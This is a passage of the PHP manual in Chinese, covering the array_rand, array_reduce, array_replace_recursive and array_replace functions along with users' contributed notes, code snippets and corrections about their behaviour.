 *                            the array
 * @return array  The randomized array
 */
function array_rand_keys($array, $limit = 1) {
    $count = @count($array)-1;

    // Sanity checks
    if ($limit == 0 || !is_array($array) || $limit > $count) return array();
    if ($count == 1) return $array;

    // Loop through and get the random numbers
    for ($x = 0; $x < $limit; $x++) {
        $rand = rand(0, $count);

        // Can't have double randoms, right?
        while (isset($rands[$rand])) $rand = rand(0, $count);

        $rands[$rand] = $rand;
    }

    $return = array();
    $curr = current($rands);

    // I think it's better to return the elements in a random
    // order, which is why I'm not just using a foreach loop to
    // loop through the random numbers
    while (count($return) != $limit) {
        $cur = 0;

        foreach ($array as $key => $val) {
            if ($cur == $curr) {
                $return[$key] = $val;

                // Next...
                $curr = next($rands);
                continue 2;
            } else {
                $cur++;
            }
        }
    }

    return $return;
}
?>
alexkropivko at(dog) yandex dot ru 16-Jun-2005 06:21
There was a mistake at "Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 04:40":
String
echo $new_input = $input[$v];

have to be:
echo $new_input[] = $input[$v];
maxnamara at yahoo dot com 13-Mar-2005 03:22
<?php
$input = array("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

function my_array_rand($input,$i=2){
srand((float) microtime() * 10000000);

$rand_keys = array_rand($input, $i);

/*
print $input[$rand_keys[0]] . "\n";
print $input[$rand_keys[1]] . "\n";
*/

$res = array();

if($i > 1){

for($a=0;$a<$i;$a++){

    $res[] = $input[$rand_keys[$a]];

}

}
else{

    $res[] = $input[$rand_keys];

}

return $res;
}

$a = my_array_rand($input,3);
echo "<pre>";
print_r($a);
echo "</pre>";
?>
yhoko at yhoko dot com 27-Aug-2004 06:16
According to office at at universalmetropolis dot com I have to say that the example is wrong.

<?php
// retrieve one of the options at random from the array
$teamcolours = $teamcolours[rand(0,count($teamcolours))];
?>

The count() function will return the number of items in the array, that's the last index + 1. So if there's 2 items in the array, count() will return 2 but the indices are 0 and 1. Now since rand(x,y) randomizes between x and y inclusively the index from the above example may be out of bounds. Thus you have to subtract 1 from the count:

<?php
    // Get random item
    $teamcolours = $teamcolours[rand(0,count($teamcolours)-1)];
?>
jpinedo 02-Nov-2003 01:15
An array of arrays example:

<?php
$banners[0]['imagen']="imagen0.gif";
$banners[0]['url']="www.nosenada.tal";

$banners[1]['imagen']="imagen1.gif";
$banners[1]['url']="www.nose.tal";

$banners[2]['imagen']="imagen2.gif";
$banners[2]['url']="pagina.html";

$banners[3]['imagen']="imagen3.jpg";
$banners[3]['url']="../pagina.php";

$id_banner = array_rand($banners);

echo  "Archivo:--".$banners[$id_banner]['imagen']. "<br />\n";
echo  "URL:-----".$banners[$id_banner]['url']. "<br />\n";
?>
asarnoNOSPAM@interbaun DOT com 23-Jun-2003 11:06
It is correct that using array_rand() with num_req=1 will return an integer and not an array, but why get so complicated with getting just the one value.  The K.I.S.S. method would suggest to do it this way:

<?
srand((double)microtime() * 10000000);
$originalArray = array("red", "blue", "green", "brown",
"cyan", "magenta", "purle", "cheezy");
$pickOne = array_rand($originalArray, 1);
$aRandomSelection = $originalArray[$pickOne ];
echo "$aRandomSelection was the random selection made";
?>

You only need to use the foreach if the num_req >=2. In those cases the array_rand() function will return an array of random elements which are a subset of the original array.  When num_req = 1, the array_rand() function returns an integer that signifies a randomly picked key of the original array.  Hope this clarifies things ... it works for me.
Paul Hodel (paul at ue dot com dot br) 17-Apr-2003 01:40
If you trying to get a randon array just use that... it's easier! And you have no repeats...

<?

srand ((float) microtime() * 10000000);

$input = array ("Neo", "Morpheus", "Trinity", "Cypher", "Tank");

$keys = array_rand ($input, sizeof($input));

while (list($k, $v) = each($keys))
{
    echo $new_input = $input[$v];
}

?>
scandar at home dot se 13-Apr-2003 09:58
Note that the int num_req parameter is the required number of element to randomly select. So if your array has 3 element and num_req=4 then array_rand() will not return anything since it is impossible to select 4 random elements out of an array that only contains 3 elements. Many people think that they will get 3 elements returned but that is of course not the case.
mickoz[at]parodius[dot]com 01-Dec-2002 08:28
For those of you thinking that it does not work for num_req = 1, it is because it return a variable and not an array.  This mainly cause some problem with people using foreach.

The correct way to handle this is explained by that example:

<?php
$some_array = array("blah","bleh","foo","lele");

$nb_value = 1;

srand ((float) microtime() * 10000000);
$rand_keys = array_rand($some_array, $nb_value);

if(!is_array($rand_keys))
{
  $rand_keys = array($rand_keys);
}

print_r($rand_keys); // verify here the array of keys
echo "\n<BR>";
?>

// You can then correctly use the foreach, as it require an array to work
// If you use foreach with one element, it won't work.

<?php
$random_array = array();

foreach($rand_keys as $value)
{
  array_push($random_array, $some_array[$value]);
}

print_r($random_array);
?>
josh at 3io dot com 14-Jun-2002 03:20
I modified fake_array_rand to always only return 1 element, and did some benchmarks against calling array_rand with the second parameter as 1.  I ran 100 samples for each function for each number of elements and took the average result.  While the internal array_rand is faster for a small number of elements, it scales very poorly.

1 elements: 2.0619630813599E-05 sec. for array_rand,8.4352493286133E-05 sec. for fake_array_rand
10 elements: 2.1675825119019E-05 sec. for array_rand,8.427619934082E-05 sec. for fake_array_rand
100 elements: 2.9319524765015E-05 sec. for array_rand,8.4599256515503E-05 sec. for fake_array_rand
1000 elements: 0.0001157283782959 sec. for array_rand,8.5572004318237E-05 sec. for fake_array_rand
10000 elements: 0.0016669762134552 sec. for array_rand,8.5201263427734E-05 sec. for fake_array_rand
100000 elements: 0.015599734783173 sec. for array_rand,8.5580348968506E-05 sec. for fake_array_rand
1000000 elements: 0.18011983394623 sec. for array_rand,8.6690187454224E-05 sec. for fake_array_rand

<?php
function fake_array_rand ($array)
{
        $count = count ($array);
        # Help keep the number generator random :)
        $randval and usleep ("0.$randval");

        # Seed the random number generator
        # Generate a random number
        srand ((double) microtime() * 10000000);
        $randval = rand();

        # Use the random value to 'pick' an entry from the array
        # Count the number of times that the entry is picked
        ++$index[$randval % $count];

        return $array[$randval % $count];
}
?>
uvm at sun dot he dot net 09-Jul-2001 06:09
If you're just trying to draw a random subset of n elements from an array, it seems more effecient to do something like this:

<?php
function draw_rand_array($array,$draws)
{
        $lastIndex = count($array) - 1;
        $returnArr = array();
        while($draws > 1)
        {
                $rndIndex = rand(0,$lastIndex);
                array_push($returnArr,array_splice($array,$rndIndex,1));
                $draws--;
                $lastIndex--;
        }

        return $returnArr;
}
?>

No messing with indexes when you're done... you just have an array with the elements you're looking for in it.


用回调函数迭代地将数组简化为单一的值

  • ? array_rand
  • array_replace_recursive ?
  • PHP Manual
  • 数组 函数
  • 用回调函数迭代地将数组简化为单一的值

array_reduce

(PHP 4 >= 4.0.5, PHP 5, PHP 7)

array_reduce — 用回调函数迭代地将数组简化为单一的值

说明

array_reduce ( array $array , callable $callback [, mixed $initial = NULL ] ) : mixed

array_reduce() 将回调函数 callback 迭代地作用到 array 数组中的每一个单元中，从而将数组简化为单一的值。

参数

array

输入的 array。

callback
callback ( mixed $carry , mixed $item ) : mixed
carry

携带上次迭代里的值； 如果本次迭代是第一次，那么这个值是 initial。

item

携带了本次迭代的值。

initial

如果指定了可选参数 initial，该参数将在处理开始前使用，或者当处理结束，数组为空时的最后一个结果。

返回值

返回结果值。

initial 参数，array_reduce() 返回 NULL。

更新日志

版本 | 说明
5.3.0 | 修改 initial 类型，允许传入 mixed，之前只能是 integer。

范例

Example #1 array_reduce() 例子

<?php
function sum($carry, $item)
{
    $carry += $item;
    return $carry;
}

function product($carry, $item)
{
    $carry *= $item;
    return $carry;
}

$a = array(1, 2, 3, 4, 5);
$x = array();

var_dump(array_reduce($a, "sum")); // int(15)
var_dump(array_reduce($a, "product", 10)); // int(1200), because: 10*1*2*3*4*5
var_dump(array_reduce($x, "sum", "No data to reduce")); // string(17) "No data to reduce"
?>

参见

  • array_filter() - 用回调函数过滤数组中的单元
  • array_map() - 为数组的每个元素应用回调函数
  • array_unique() - 移除数组中重复的值
  • array_count_values() - 统计数组中所有的值

User Contributed Notes

galley dot meng at gmail dot com 15-Mar-2017 05:48
If your array has string keys, you can reduce a two-dimensional array into one-dimensional using array_reduce, array_merge and array_values. (PHP>=5.3.0)

<?php

$two_dimensional = array();

$two_dimensional['foo'] = array('a' => 1, 'b' => 2, 'c' => 3);
$two_dimensional['bar'] = array('a' => 4, 'b' => 5, 'c' =>6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());

$one_dimensional = array_reduce($two_dimensional, function ($one_dimensional, $value) {
    return array_merge($one_dimensional, array_values($value));
}, array());

# becomes array(1, 2, 3, 4, 5, 6)
directrix1 at gmail dot com 03-Nov-2015 04:39
So, if you were wondering how to use this where key and value are passed in to the function. I've had success with the following (this example generates formatted html attributes from an associative array of attribute => value pairs):

<?php

    // Attribute List
    $attribs = [
        'name' => 'first_name',
        'value' => 'Edward'
    ];

    // Attribute string formatted for use inside HTML element
    $formatted_attribs = array_reduce(
        array_keys($attribs),                       // We pass in the array_keys instead of the array here
        function ($carry, $key) use ($attribs) {    // ... then we 'use' the actual array here
            return $carry . ' ' . $key . '="' . htmlspecialchars( $attribs[$key] ) . '"';
        },
        ''
    );

echo $formatted_attribs;

?>

This will output:
 name="first_name" value="Edward"
cwu at nolo dot com 18-Sep-2015 07:34
The single value returned by array_reduce() can be an array -- as illustrated in the following example:
<?php
# calculate the average of an array
function calculate_sum_and_count($sum_and_count, $item)
{
  list($sum, $count) = $sum_and_count;
  $sum += $item;
  $count += 1;
  return [$sum, $count];
}

$a = array(1, 2, 3, 4, 5, 6, 7, 8, 9, 10);
$initial_sum_and_count = [0, 0];
list($sum, $count) = array_reduce($a, "calculate_sum_and_count", $initial_sum_and_count);
echo $sum / $count;
?>
aiadfaris at yahoo dot de 29-May-2014 08:16
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
aiadfaris at yahoo dot de 29-May-2014 08:14
notice to function array_reduce()
I suppose the function rsum in the example 1 so it is not correct,
but
$ v + = $ w;
will output 15
magnesium dot oxide dot play+php at gmail dot com 11-Apr-2014 05:27
You can reduce a two-dimensional array into one-dimensional using array_reduce and array_merge. (PHP>=5.3.0)

<?php

$two_dimensional = array();
$two_dimensional['foo'] = array(1, 2, 3);
$two_dimensional['bar'] = array(4, 5, 6);

$one_dimensional = array_reduce($two_dimensional, 'array_merge', array());
# becomes array(1, 2, 3, 4, 5, 6)
Altreus 26-Feb-2014 02:30
You can effectively ignore the fact $result is passed into the callback by reference. Only the return value of the callback is accounted for.

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function(&$res, $a) { $res += $a; },
    0
));

# NULL

?>

<?php

$arr = [1,2,3,4];

var_dump(array_reduce(
    $arr,
    function($res, $a) { return $res + $a;  },
    0
));

# int(10)
?>

Be warned, though, that you *can* accidentally change $res if it's not a simple scalar value, so despite the examples I'd recommend not writing to it at all.
kon 03-Dec-2012 01:12
Walking down related object's properties using array_reduce:

<?php
  $a=new stdClass;
  $a->b=new stdClass;
  $a->b->c="Hello World!\n";

  $reductionPath=array("b","c");

  print_r(
    array_reduce(
      $reductionPath,
      function($result, $item){
        return $result->$item;
      },
      $a
    )
  );
?>
ruslan dot zavackiy at gmail dot com 06-Jul-2012 08:29
If you want something elegant in your code, when dealing with reducing array, just unshift first element, and use it as initial, because if you do not do so, you will + first element with first element:

<?php
$arr = array(
    array('min' => 1.5456, 'max' => 2.28548, 'volume' => 23.152),
    array('min' => 1.5457, 'max' => 2.28549, 'volume' => 23.152),
    array('min' => 1.5458, 'max' => 2.28550, 'volume' => 23.152),
    array('min' => 1.5459, 'max' => 2.28551, 'volume' => 23.152),
    array('min' => 1.5460, 'max' => 2.28552, 'volume' => 23.152),
);

$initial = array_shift($arr);

$t = array_reduce($arr, function($result, $item) {
    $result['min'] = min($result['min'], $item['min']);
    $result['max'] = max($result['max'], $item['max']);
    $result['volume'] += $item['volume'];

    return $result;
}, $initial);
?>
php at keith tyler dot com 18-Apr-2010 03:30
If you do not provide $initial, the first value used in the iteration is NULL. This is not a problem for callback functions that treat NULL as an identity (e.g. addition), but is a problem for cases when NULL is not identity (such as boolean context).

Compare:

<?php
function andFunc($a, $b) {
  return $a && $b;
}
$foo = array(true, true, true);
var_dump(array_reduce($foo, "andFunc"));
?>

returns false! One would expect that it would return true because `true && true && true == true`!

Adding diagnostic output to andFunc() shows that the first call to andFunc is with the arguments (NULL, true). This resolves to false (as `(bool) null == false`) and thereby corrupts the whole reduction.

So in this case I have to set `$initial = true` so that the first call to andFunc() will be (true, true). Now, if I were doing, say, orFunc(), I would have to set `$initial = false`. Beware.

Note that the "rmul" case in the example sneakily hides this defect! They use an $initial of 10 to get `10*1*2*3*4*5 = 12000`. So you would assume that without an initial, you would get `1200/10 = 120 = 1*2*3*4*5`. Nope! You get big fat zero, because `int(null)==0`, and `0*1*2*3*4*5 = 0`!

I don't honestly see why array_reduce starts with a null argument. The first call to the callback should be with arguments ($initial[0],$initial[1]) [or whatever the first two array entries are], not (null,$initial[0]). That's what one would expect from the description.

Incidentally this also means that under the current implementation you will incur `count($input)` number of calls to the callback, not `count($input) - 1` as you might expect.
Hayley Watson 23-Oct-2007 02:49
To make it clearer about what the two parameters of the callback are for, and what "reduce to a single value" actually means (using associative and commutative operators as examples may obscure this).

The first parameter to the callback is an accumulator where the result-in-progress is effectively assembled. If you supply an $initial value the accumulator starts out with that value, otherwise it starts out null.
The second parameter is where each value of the array is passed during each step of the reduction.
The return value of the callback becomes the new value of the accumulator. When the array is exhausted, array_reduce() returns accumulated value.

If you carried out the reduction by hand, you'd get something like the following lines, every one of which therefore producing the same result:
<?php
array_reduce(array(1,2,3,4), 'f',         99             );
array_reduce(array(2,3,4),   'f',       f(99,1)          );
array_reduce(array(3,4),     'f',     f(f(99,1),2)       );
array_reduce(array(4),       'f',   f(f(f(99,1),2),3)    );
array_reduce(array(),        'f', f(f(f(f(99,1),2),3),4) );
f(f(f(f(99,1),2),3),4)
?>

If you made function f($v,$w){return "f($v,$w)";} the last line would be the literal result.

A PHP implementation might therefore look something like this (less details like error checking and so on):
<?php
function array_reduce($array, $callback, $initial=null)
{
    $acc = $initial;
    foreach($array as $a)
        $acc = $callback($acc, $a);
    return $acc;
}
?>
yuki [dot] kodama [at] gmail [dot] com 31-Jan-2007 08:56
This code will reduce array deeply.

<?php
function print_s($s) {
    return is_null($s) ? "NULL" : (is_array($s) ? "Array" : ($s ? "TRUE" : "FALSE"));
}
function r_and_dp($a, $b) {
    echo "phase1:" . print_s($a) . "," . print_s($b) . "<br>\n";
    if(is_array($a)) {
        $a = array_reduce($a, "r_and_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_and_dp");
    }
    echo "phase2:" . print_s($a) . "," . print_s($b) . "<br>\n";
    $a = is_null($a) ? TRUE : $a;
    $b = is_null($b) ? TRUE : $b;
    echo "phase3:" . print_s($a) . "," . print_s($b) . "<br>\n";
    return $a && $b;
}
$bools = array(TRUE, array(FALSE, TRUE), TRUE);
echo print_s(array_reduce($bools, "r_and_dp")) . "<br>\n";

// result: FALSE
?>

When using boolean, you have to carefully set an "initial" argument.

<?php
function r_or_dp($a, $b) {
    if(is_array($a)) {
        $a = array_reduce($a, "r_or_dp");
    }
    if(is_array($b)) {
        $b = array_reduce($b, "r_or_dp");
    }
    return (is_null($a) ? FALSE : $a) || (is_null($b) ? FALSE : $b);
}
?>
bdechka at yahoo dot ca 10-Jan-2007 12:57
The above code works better this way.

<?php
function reduceToTable($html, $p) {
   $html .= "<TR><TD><a href=\"$p.html\">$p</a></td></tr>\n";
   return $html;
}

$list = Array("page1", "page2", "page3");

$tab = array_reduce($list, "reduceToTable");
echo "<table>".$tab . "</table>\n";
?>
Seanj.jcink.com 04-Jan-2006 06:23
The code posted below by bishop to count the characters of an array is simply... erm... well useless to me...

$array=Array("abc","de","f");
strlen(implode("",$array)); //6

works; and is much smaller. Probably much faster too.


使用传递的数组递归替换第一个数组的元素

  • ? array_reduce
  • array_replace ?
  • PHP Manual
  • 数组 函数
  • 使用传递的数组递归替换第一个数组的元素

array_replace_recursive

(PHP 5 >= 5.3.0, PHP 7)

array_replace_recursive — 使用传递的数组递归替换第一个数组的元素

说明

array_replace_recursive ( array $array1 [, array $... ] ) : array

array_replace_recursive() 使用后面数组元素的值替换数组 array1 的值。 如果一个键存在于第一个数组同时也存在于第二个数组，它的值将被第二个数组中的值替换。 如果一个键存在于第二个数组，但是不存在于第一个数组，则会在第一个数组中创建这个元素。 如果一个键仅存在于第一个数组，它将保持不变。 如果传递了多个替换数组，它们将被按顺序依次处理，后面的数组将覆盖之前的值。

array_replace_recursive() 是递归的：它将遍历数组并将相同的处理应用到数组的内部值。

如果第一个数组中的值是标量，它的值将被第二个数组中的值替换，它可能是一个标量或者数组。如果第一个数组和第二个数组中的值都是数组，array_replace_recursive() 函数将递归地替换它们各自的值。

参数

array1

替换该数组的值。

...

可选项。包含要提取元素的数组。

返回值

返回一个数组。如果发生错误，将返回 NULL。

范例

Example #1 array_replace_recursive() 范例

<?php
$base = array('citrus' => array( "orange") , 'berries' => array("blackberry", "raspberry"), );
$replacements = array('citrus' => array('pineapple'), 'berries' => array('blueberry'));

$basket = array_replace_recursive($base, $replacements);
print_r($basket);

$basket = array_replace($base, $replacements);
print_r($basket);
?>

以上例程会输出：

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

)
Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
        )

)

Example #2 array_replace_recursive() 及其递归表现

<?php
$base = array('citrus' => array("orange") , 'berries' => array("blackberry", "raspberry"), 'others' => 'banana' );
$replacements = array('citrus' => 'pineapple', 'berries' => array('blueberry'), 'others' => array('litchis'));
$replacements2 = array('citrus' => array('pineapple'), 'berries' => array('blueberry'), 'others' => 'litchis');

$basket = array_replace_recursive($base, $replacements, $replacements2);
print_r($basket);

?>

以上例程会输出：

Array
(
    [citrus] => Array
        (
            [0] => pineapple
        )

    [berries] => Array
        (
            [0] => blueberry
            [1] => raspberry
        )

    [others] => litchis
)

参见

  • array_replace() - 使用传递的数组替换第一个数组的元素
  • array_merge_recursive() - 递归地合并一个或多个数组

User Contributed Notes

Uther 04-Jan-2019 06:06
Note that the use of the word "replace" in the function's description is a bit misleading... as none of the parameters are passed by reference, it does not actually replace anything... this simply describes from which parameter the resulting values come.
oliver dot coleman at gmail dot com 25-Nov-2014 08:20
If you came here looking for a function to recursively find and replace (scalar) values in an array (also recurses through objects):

<?php
define('RECURSIVE_REPLACE_MARKER', 'recursive_replace_r47yr74yr7623t74r3645236rtvghdcbnsgxbt67g5e21873891');
/**
 * Recursively replaces scalar values in objects and arrays. The passed array or object is altered in place.
 * @param mixed $data An object or array.
 * @param mixed $find The scalar value to find.
 * @param mixed $replace The value to replace with (need not be a scalar).
 */
function recursive_replace(&$data, $find, $replace){
  if(is_array($data)) {
    if (!isset($data[RECURSIVE_REPLACE_MARKER])) {
      $data[RECURSIVE_REPLACE_MARKER] = TRUE;
      foreach($data as $key=>$val) {
        if(is_array($data[$key]) || is_object($data[$key])) {
          recursive_replace($data[$key], $find, $replace);
        }
        else{
          if($data[$key] === $find) {
            $data[$key] = $replace;
          }
        }
      }
      unset($data[RECURSIVE_REPLACE_MARKER]);
    }
  }
  elseif (is_object($data)) {
    if (!isset($data->RECURSIVE_REPLACE_MARKER)) {
      $data->RECURSIVE_REPLACE_MARKER = TRUE;
      foreach($data as $key=>$val) {
        if(is_array($data->$key) || is_object($data->$key)){
          recursive_replace($data->$key, $find, $replace);
        }else{
          if($data->$key === $find) {
            $data->$key = $replace;
          }
        }
      }
      unset($data->RECURSIVE_REPLACE_MARKER);
    }
  }
}
?>
msahagian at dotink dot org 13-Jul-2012 11:33
This is a fairly concise version which does not rely on traditional recursion:

<?php
    function array_replace_recursive($base, $replacements)
    {
        foreach (array_slice(func_get_args(), 1) as $replacements) {
            $bref_stack = array(&$base);
            $head_stack = array($replacements);

            do {
                end($bref_stack);

                $bref = &$bref_stack[key($bref_stack)];
                $head = array_pop($head_stack);

                unset($bref_stack[key($bref_stack)]);

                foreach (array_keys($head) as $key) {
                    if (isset($key, $bref) && is_array($bref[$key]) && is_array($head[$key])) {
                        $bref_stack[] = &$bref[$key];
                        $head_stack[] = $head[$key];
                    } else {
                        $bref[$key] = $head[$key];
                    }
                }
            } while(count($head_stack));
        }

        return $base;
    }
?>
Gregor at der-meyer dot de 29-Jul-2009 06:13
Nice that this function finally found its was to the PHP core! If you want to use it also with older PHP versions before 5.3.0, you can define it this way:

<?php
if (!function_exists('array_replace_recursive'))
{
  function array_replace_recursive($array, $array1)
  {
    function recurse($array, $array1)
    {
      foreach ($array1 as $key => $value)
      {
        // create new key in $array, if it is empty or not an array
        if (!isset($array[$key]) || (isset($array[$key]) && !is_array($array[$key])))
        {
          $array[$key] = array();
        }

        // overwrite the value in the base array
        if (is_array($value))
        {
          $value = recurse($array[$key], $value);
        }
        $array[$key] = $value;
      }
      return $array;
    }

    // handle the arguments, merge one by one
    $args = func_get_args();
    $array = $args[0];
    if (!is_array($array))
    {
      return $array;
    }
    for ($i = 1; $i < count($args); $i++)
    {
      if (is_array($args[$i]))
      {
        $array = recurse($array, $args[$i]);
      }
    }
    return $array;
  }
}
?>

I called this function array_merge_recursive_overwrite() in my older projects, but array_replace_recursive() sounds quite better while they do the same.

If you implemented such a compatible function before and don't want to refactor all your code, you can update it with the following snippet to use the native (and hopefully faster) implementation of PHP 5.3.0, if available. Just start your function with these lines:

<?php
  // as of PHP 5.3.0 array_replace_recursive() does the work for us
  if (function_exists('array_replace_recursive'))
  {
    return call_user_func_array('array_replace_recursive', func_get_args());
  }
?>
kyle [dot] florence [@t] gmail [dot] com 14-Jul-2009 04:16
This might help out people who don't have 5.3 running:

<?php

// Joins two or more arrays together recursively; key/value pairs of the first
// array are replaced with key/value pairs from the subsequent arrays.  Any
// key/value pair not present in the first array is added to the final array
function array_join()
{
    // Get array arguments
    $arrays = func_get_args();

    // Define the original array
    $original = array_shift($arrays);

    // Loop through arrays
    foreach ($arrays as $array)
    {
        // Loop through array key/value pairs
        foreach ($array as $key => $value)
        {
            // Value is an array
            if (is_array($value))
            {
                // Traverse the array; replace or add result to original array
                $original[$key] = array_join($original[$key], $array[$key]);
            }

            // Value is not an array
            else
            {
                // Replace or add current value to original array
                $original[$key] = $value;
            }
        }
    }

    // Return the joined array
    return $original;
}

?>


使用传递的数组替换第一个数组的元素

  • ? array_replace_recursive
  • array_reverse ?
  • PHP Manual
  • 数组 函数
  • 使用传递的数组替换第一个数组的元素

array_replace

(PHP 5 >= 5.3.0, PHP 7)

array_replace — 使用传递的数组替换第一个数组的元素

说明

array_replace ( array $array1 [, array $... ] ) : array

array_replace() 函数使用后面数组元素相同 key 的值替换 array1 数组的值。如果一个键存在于第一个数组同时也存在于第二个数组，它的值将被第二个数组中的值替换。如果一个键存在于第二个数组，但是不存在于第一个数组，则会在第一个数组中创建这个元素。如果一个键仅存在于第一个数组，它将保持不变。如果传递了多个替换数组，它们将被按顺序依次处理，后面的数组将覆盖之前的值。

array_replace() 是非递归的：它将第一个数组的值进行替换而不管第二个数组中是什么类型。

参数

array1

替换该数组的值。

...

包含要提取元素的数组。 后面的数组里的值会覆盖前面的值。

返回值

返回一个数组。如果发生错误，将返回 NULL。

范例

Example #1 array_replace() 范例

<?php
$base = array("orange", "banana", "apple", "raspberry");
$replacements = array(0 => "pineapple", 4 => "cherry");
$replacements2 = array(0 => "grape");

$basket = array_replace($base, $replacements, $replacements2);
print_r($basket);
?>

以上例程会输出：

Array
(
    [0] => grape
    [1] => banana
    [2] => apple
    [3] => raspberry
    [4] => cherry
)

参见

  • array_replace_recursive() - 使用传递的数组递归替换第一个数组的元素
  • array_merge() - 合并一个或多个数组

User Contributed Notes

ivijan dot stefan at gmail dot com 14-Nov-2016 09:16
If you work on some realy old server below PHP5 you can use array_merge like "necessary evil" to replace values in array:

Here is example how you can use this:

<?php
if(function_exists("array_replace") && version_compare(phpversion(), '5.3.0', '>='))
        $data = array_replace($array1, $array2); // (PHP 5 >= 5.3.0)
    else
        $data = array_merge($array1, $array2); // (PHP 5 < 5.3.0)
var_dump($data);
?>

This can also help someplugin developers to cover some old PHP versions.
ali dot sweden19 at yahoo dot com 25-Jan-2016 02:42
Here is a simple array_replace_keys function:

/**
     * This function replaces the keys of an associate array by those supplied in the keys array
     *
     * @param $array target associative array in which the keys are intended to be replaced
     * @param $keys associate array where search key => replace by key, for replacing respective keys
     * @return  array with replaced keys
     */
    private function array_replace_keys($array, $keys)
    {
        foreach ($keys as $search => $replace) {
            if ( isset($array[$search])) {
                $array[$replace] = $array[$search];
                unset($array[$search]);
            }
        }

        return $array;
    }

// Test Drive

print_r(array_replace_keys(['one'=>'apple', 'two'=>'orange'], ['one'=>'ett', 'two'=>'tvo']);
// Output
array(
'ett'=>'apple',
'tvo'=>'orange'
)
projacore at gmail dot com 26-Jul-2015 07:45
You can also use:

<?php
$myarray = [
"Orange",
"572" => "Banana",
"omg" => "Chili",
"nevermind" => "mango"
];

$myarray[0] = "NO-Orange";
$myarray["572"] = "BANANAPHONE!!!";
$myarray["omg"] = "NO-Chili";

print_r($myarray);

?>

RESULT:
Array
(
    [0] => NO-Orange
    [572] => BANANAPHONE!!!
    [omg] => NO-Chili
    [nevermind] => mango
)

with regards
Anonymous 08-May-2015 07:17
The documentation is wrongly phrased: "array_replace() replaces the values of array1"  No replacing is done. A new array is created which looks like the one that would have resulted from the described replacement.

If you want to augment the set of indices in an array, use
       array_to_be_modified += array_with_indices_to_add;
lm713 15-Oct-2014 01:40
If the arrays are associative (that is, their keys are strings), then I believe this function is identical to (the older) array_merge.
kyberprizrak 15-Jun-2014 01:08
if(!function_exists('array_replace'))
{
  function array_replace()
  {
    $args = func_get_args();
    $num_args = func_num_args();
    $res = array();
    for($i=0; $i<$num_args; $i++)
    {
      if(is_array($args[$i]))
      {
        foreach($args[$i] as $key => $val)
        {
          $res[$key] = $val;
        }
      }
      else
      {
        trigger_error(__FUNCTION__ .'(): Argument #'.($i+1).' is not an array', E_USER_WARNING);
        return NULL;
      }
    }
    return $res;
  }
}
marvin_elia at web dot de 18-Mar-2014 11:45
Simple function to replace array keys. Note you have to manually select wether existing keys will be overrided.

/**
  * @param array $array
  * @param array $replacements
  * @param boolean $override
  * @return array
  */
function array_replace_keys(array $array, array $replacements, $override = false) {
    foreach ($replacements as $old => $new) {
        if(is_int($new) || is_string($new)){
            if(array_key_exists($old, $array)){
                if(array_key_exists($new, $array) && $override === false){
                    continue;
                }
                $array[$new] = $array[$old];
                unset($array[$old]);
            }
        }
    }
    return $array;
}
gmastro77 at gmail dot com 10-Apr-2013 05:05
In some cases you might have a structured array from the database and one
of its nodes goes like this;

<?php
# a random node structure
$arr    = array(
    'name'  => 'some name',
    'key2'  => 'value2',
    'title' => 'some title',
    'key4'  => 4,
    'json'  => '[1,0,1,1,0]'
);

# capture these keys values into given order
$keys   = array( 'name', 'json', 'title' );
?>

Now consider that you want to capture $arr values from $keys.
Assuming that you have a limitation to display the content into given keys
order, i.e. use it with a vsprintf, you could use the following

<?php
# string to transform
$string = "<p>name: %s, json: %s, title: %s</p>";

# flip keys once, we will use this twice
$keys   = array_flip( $keys );

# get values from $arr
$test   = array_intersect_key( $arr, $keys );

# still not good enough
echo vsprintf( $string, $test );
// output --> name: some name, json: some title, title: [1,0,1,1,0]

# usage of array_replace to get exact order and save the day
$test   = array_replace( $keys, $test );

# exact output
echo vsprintf( $string, $test );
// output --> name: some name, json: [1,0,1,1,0], title: some title

?>

I hope that this will save someone's time.
steelpandrummer 14-Aug-2012 09:19
<?php
// we wanted the output of only selected array_keys from a big array from a csv-table
// with different order of keys, with optional suppressing of empty or unused values

$values = array
(
    'Article'=>'24497',
    'Type'=>'LED',
    'Socket'=>'E27',
    'Dimmable'=>'',
    'Wattage'=>'10W'
);

$keys = array_fill_keys(array('Article','Wattage','Dimmable','Type','Foobar'), ''); // wanted array with empty value

$allkeys = array_replace($keys, array_intersect_key($values, $keys));    // replace only the wanted keys

$notempty = array_filter($allkeys, 'strlen'); // strlen used as the callback-function with 0==false

print '<pre>';
print_r($allkeys);
print_r($notempty);

/*
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Dimmable] =>
    [Type] => LED
    [Foobar] =>
)
Array
(
    [Article] => 24497
    [Wattage] => 10W
    [Type] => LED
)
*/
?>
sun at drupal dot org 27-May-2011 11:42
Instead of calling this function, it's often faster and simpler to do this instead:

<?php
$array_replaced = $array2 + $array1;
?>

If you need references to stay intact:

<?php
$array2 += $array1;
?>
polecat at p0lecat dot com 29-Nov-2010 10:02
I got hit with a noob mistake. :)

When the function was called more than once, it threw a function redeclare error of course.  The enviroment I was coding in never called it more than once but I caught it in testing and here is the fully working revision.  A simple logical step was all that was needed.

With PHP 5.3 still unstable for Debian Lenny at this time and not knowing if array_replace would work with multi-dimensional arrays, I wrote my own.  Since this site has helped me so much, I felt the need to return the favor. :)

<?php
        // Polecat's Multi-dimensional array_replace function
        // Will take all data in second array and apply to first array leaving any non-corresponding values untouched and intact
        function polecat_array_replace( array &$array1, array &$array2 ) {
            // This sub function is the iterator that will loop back on itself ad infinitum till it runs out of array dimensions
            if(!function_exists('tier_parse')){
                function tier_parse(array &$t_array1, array&$t_array2) {
                    foreach ($t_array2 as $k2 => $v2) {
                        if (is_array($t_array2[$k2])) {
                            tier_parse($t_array1[$k2], $t_array2[$k2]);
                        } else {
                            $t_array1[$k2] = $t_array2[$k2];
                        }
                    }
                    return $t_array1;
                }
            }

            foreach ($array2 as $key => $val) {
                if (is_array($array2[$key])) {
                    tier_parse($array1[$key], $array2[$key]);
                } else {
                    $array1[$key] = $array2[$key];
                }
            }
            return $array1;
        }
?>

